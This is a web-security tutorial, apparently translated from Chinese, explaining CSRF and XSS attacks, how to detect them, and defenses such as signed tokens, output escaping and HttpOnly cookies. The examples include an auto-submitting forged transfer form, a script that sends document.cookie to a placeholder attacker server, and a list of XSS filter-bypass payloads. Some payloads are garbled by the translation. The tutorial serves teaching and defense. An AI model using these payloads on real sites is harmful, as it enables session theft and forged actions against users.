A, CSRF

CSRF stands for Cross-site Request Forgery. As the name implies, an attacker steals your identity and sends a malicious Request in your name, a Request that is perfectly legitimate to the server, but one that fulfills the attacker’s expectation. For example, in your name to send emails, send messages, steal your account, add system administrators, even purchase goods, virtual currency transfer and so on. As far as the server is concerned, the method of determining whether the request object is you is limited to providing authentication cookies, secret keys, etc., and cannot identify individuals.

Principle introduction and process analysis

The following example simulates an example affected by a CSRF attack:

  1. User C opens the browser, accesses trusted website A, and enters the user name and password to request to log in to website A.
  1. After the user information is verified, website A generates Cookie information and returns it to the browser. At this time, the user successfully logs in to website A and can send requests to website A normally.
  2. Before exiting website A, the user opens A TAB page in the same browser to visit website B.
  3. After receiving the user’s request, website B returns some offensive code and sends A request to visit third-party site A.
  4. After receiving these offensive codes, the browser, according to the request of website B, carries the Cookie information without the user’s knowledge and sends A request to Website A. Website A does not know that the request is actually initiated by B, so it will process the request with C’s permission according to the Cookie information of user C, resulting in the malicious code from Website B being executed.

More specifically, a request can be forged in the following ways:

// There is a hyperlink in the page that induces the user to click<a href="https://aaa.com?userid=3&money=9999">The induced information</a>// Use Img directly on the page for get requests<img src="https://aaa.com?userid=3&money=9999"/>// Or submit using a form<iframe name="heihei" style="display:none;"></iframe>

<form action="https://aaa.com?userid=3&money=9999" method="post" target="heihei" >

<input name="userid" value="3" type="hidden" />

<input name="money" value="9999" type="hidden" />

</form>

<script>
window.onload = function(){
  document.forms[0].submit();
}
</script>
Copy the code

CSRF vulnerability detection

Detection of CSRF vulnerability is a tedious work. The simplest method is to capture a normal request packet, remove the Referer field and then resubmit it. If the submission is still valid, it can basically confirm the existence of CSRF vulnerability.

Of course, we can also try to use the basis for vulnerability detection. With the deepening of CSRF vulnerability research, some special CSRF vulnerability detection tools have emerged, such as CSRFTester, CSRF Request Builder and so on.

Taking CSRFTester as an example, the test principles of CSRF vulnerability detection tool are as follows: When testing with CSRFTester, we first need to grab all the links we visited in the browser, all the forms and other information, and then resubmit by modifying the corresponding forms and other information in CSRFTester, which is equivalent to a forged client request. If the modified test request is successfully accepted by the website server, the CSRF vulnerability exists. Of course, this tool can also be used to carry out CSRF attacks.

CSRF defense mechanism

According to the above methods, we can see clearly that the problem lies in “visiting website B” and “carrying Cookie information”. Against CRSF attacks, CSRF focuses on verifying user credentials. Through this mechanism, the validity of user requests can be determined and whether they are XSS attacks. Since “user credentials” are stored in cookies, the processing objects of the protection mechanism are also Cookie data. We need to add signature verification to the protected data and conduct life cycle time management for the data, that is, data expiration management.

Therefore, a key point of CSRF defense is to verify “user credentials”. Through this mechanism, users can judge whether the request is legitimate and whether it is a XSS attack. Since “user credentials” are stored in cookies, the processing objects of the protection mechanism are also Cookie data. We need to add signature verification to the protected data and conduct life cycle time management for the data, that is, data expiration management.

Defensive mentality

In order to prevent the occurrence of CSRF, the Token processing mechanism is created. The Token data structure is directly related to the time and encrypted signature. The purpose of this design is to add the time life-cycle management and signature verification management to the “identity certificate”. Check whether the signature and timestamp in the Token are valid before normal service processing. In this way, the success rate of CSRF attacks can be reduced by checking and filtering illegitimate data.

Signature and timestamp defense processing flow

Add the timestamp and signature information described in the above method to the token:

-----------------------------------------------------------------------------
|             msg                 |     separator   | signature           |
-----------------------------------------------------------------------------
|     key     |   timestamp       |         .       | Base64(sha256(msg)) |
-----------------------------------------------------------------------------
Copy the code
  1. MSG part: key is a randomly generated string used for user credential authentication + TIMESTAMP timestamp authentication time
  2. Separator part: Used to separate the MSG part from the encrypted generated signature part
  3. Signature: The signature is a string of “MSG messages” encrypted with a specific algorithm.

Token = base64(MSG) Format.. Base64 (sha256(” lock “, MSG))

The whole Token consists of the MSG encoding string of the Base64 + 256 encrypted MSG and then Base64 encoded, and the contents of the two strings are combined.

Token check

In the whole defense, the token verification flow is as follows:

  1. Fragment the received token on the server to obtain the information and signature
  2. For signature verification, the information is decoded. If it passes, time verification is entered
  3. If the signature is valid, fetch the timestamp field data in MSG and compare it with the current system time. If the expiration time is less than the current time, the token is expired and need to obtain the token again.

Second, the XSS

XSS (Cross-site Scripting, not CSS, because CSS is a cascading style sheet) is a common Web security problem. The XSS attack allows malicious Web users to embed code into pages that are intended for use by other users. Thus achieving the purpose of attack. For example, steal users’ cookies, destroy the page structure, redirect to other websites.

XSS attack types are distinguished

1) reflective

Reflective XSS attacks typically simply “reflect” user input data back to the browser. Hackers typically trick users into clicking on a malicious link, which triggers an XSS attack. Reflective XSS attacks can insert JavaScript scripts into HTML nodes, HTML attributes, and JS injection into urls or HTML documents.

(2) the storage type

Stored XSS attack This attack stores user input data to the server. For example, on a blog site with an XSS vulnerability, a hacker writes an article containing malicious JavaScript code, and when the article is published, all users who read the blog post will execute the malicious JavaScript code in their browsers.

(3) the DOM – -based

Note: This type of partition is different from the preceding two types of partition. It is divided according to the location of the Payload

Dom-based XSS attack A DOM-based XSS attack is a client attack that modifies the DOM structure of a page using malicious scripts. DOM TYPE XSS attack, taking out and executing malicious code is completed by the browser side, which belongs to the security vulnerability of front-end JavaScript itself.

After an XSS attack, the hacker writes JavaScript code that executes, allowing the script to control the user’s browser. A common means of attack is “Cookie hijacking”, in which the current user’s login credentials are encrypted and stored. Hackers can send the user’s cookies to their own servers through malicious codes, and then they can log in to the user’s account without a password.

Conditions for implementing XSS attacks

  1. You need to inject malicious code into your Web page;

  2. This malicious code can be successfully executed by the browser.

What would you gain with an XSS attack?

  1. Steal cookies, read the cookies of the target website and send them to the hacker’s server, as follows:
var i=document.createElement("img");
document.body.appendChild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;
Copy the code

As mentioned here, there are built-in defenses from browsers, which have their own way of disabling access to DOM objects to avoid the most basic XSS injection. For example, in older versions of Internet Explorer 8 and IE8 below, it can be executed. Firefox can also execute code, but Firefox does not allow it to access DOM objects, so executing in Firefox will see the control throw an exception: Document is not defined

  1. Read user information that is not public, such as mailing lists or contents, system customer profiles, contact lists, etc., such as code
  2. Tamper with web pages for phishing or malicious dissemination
  3. Website redirection

XSS defenses

For example: inject escape

The parameters carried by THE URL need to be read when the URL is parsed and when the GET request is initiated. If the parameters in the URL are directly inserted into the DOM, it may constitute an XSS attack. The attacker takes advantage of this vulnerability to send a malicious link to other users, and users may be fooled. Such as:

http://www.example/test.index?param=<script>alert('XSS')</script>
Copy the code

The value of the PARam parameter to this URL is not reasonable, but is constructed by the attacker.

Another example: the URL in a hyperlink

<a href='http://www.xss.com?cookie='+document.cookie>
Copy the code

The above method can inject XSS by clicking the link to get the Cookie of the current user.

Defense mode:

  1. When malicious code values are displayed as the contents of a tag: HTML tags and special characters (” < > &, etc.) are filtered where HTML input is not required and converted to characters that are not interpreted by the browser.
  2. When malicious code is displayed as an attribute of a tag, “truncate the attribute to create a new attribute or malicious method: transcoding the single and double quotes of the attribute itself; Whitelist filtering is performed for HTML tags and attributes entered by users, and special filtering can be performed for some vulnerable tags and attributes.

Common XSS attack methods

  1. Bypassing XSS-filter and injecting Html/JavaScript code with <> tags;

  2. XSS attack using attribute values of HTML tags. Such as:

<img src="Javascript: alert (' XSS)" />
Copy the code

(Of course, not all Web browsers support Javascript pseudo-protocols, so this type of XSS attack has some limitations.)

  1. Space, Enter, and Tab. If XSS Filter only blacklists sensitive input characters, such as javascript, users can bypass the Filter by using Spaces, enter, and Tab keys, for example:
<img src="Javas  cript:alert(/xss/);" />
Copy the code
  1. Use events to execute cross-site scripts. Such as:
<img src="#" onerror= "Alert" (1) />
Copy the code

The onError event is executed when the SRC error appears

  1. Utilize CSS cross-site. Such as:
Body {backgrund-image: url("Javascript: alert (' XSS) ")}Copy the code
  1. Disturb the filtering rules. Such as:
<IMG SRC="JavaSCript: alert(/xss/);" />
Copy the code
  1. Using character encoding, this technique not only allows XSS code to bypass server filtering, but also hides Shellcode better. (JS supports Unicode, Eacapes, hexadecimal, decimal and other encoding forms)

  2. XSS attack code is split into XSS attack code. It is applicable to the case that the application program does not filter XSS key characters (such as <, >) but limits the length of input characters.

  3. Dom-type XSS is basically client-side scripts that dynamically output data to the page through the DOM. It does not rely on submitting data to the server, but instead takes data from the CLIENT in the DOM and executes it locally. Input sources for DOM-type XSS include: . The Document. The URL, the Location (pathname. | href. | search |. The hash), the Document. The referrer, Window. The name, Document. Cookies, localStorage/globalSt Orage;

XSS attack defense

Rule: Don’t trust customer input data

Note: The attack code is not necessarily in

  1. Use XSS Filter.

Input filtering validates user-submitted data, accepts only content submitted within a specified length and in the format we expect, and blocks or ignores any other data. For example, a telephone number must be composed of digits and hyphens, and must have a maximum length. Filter common sensitive characters, such as < > ‘” & # \ javascript expression “onclick=” “onfocus”; Filter or remove special Html tags such as

Output encoding. When a string needs to be output to a Web page and it is not sure whether the string contains XSS special characters (such as < > & ‘”), HTMLEncode can be used to ensure the integrity and correctness of the output content.

  1. DOM type XSS attack defense

The variable output to the page to do a good job of the relevant coding escape work, such as output to

  1. HttpOnly Cookie

Mark important cookies as HTTP only, so that when the browser makes a request to the Web server, the cookie field is attached, but the cookie cannot be accessed in the script. This avoids XSS attacks using JavaScript document.cookie to retrieve cookies: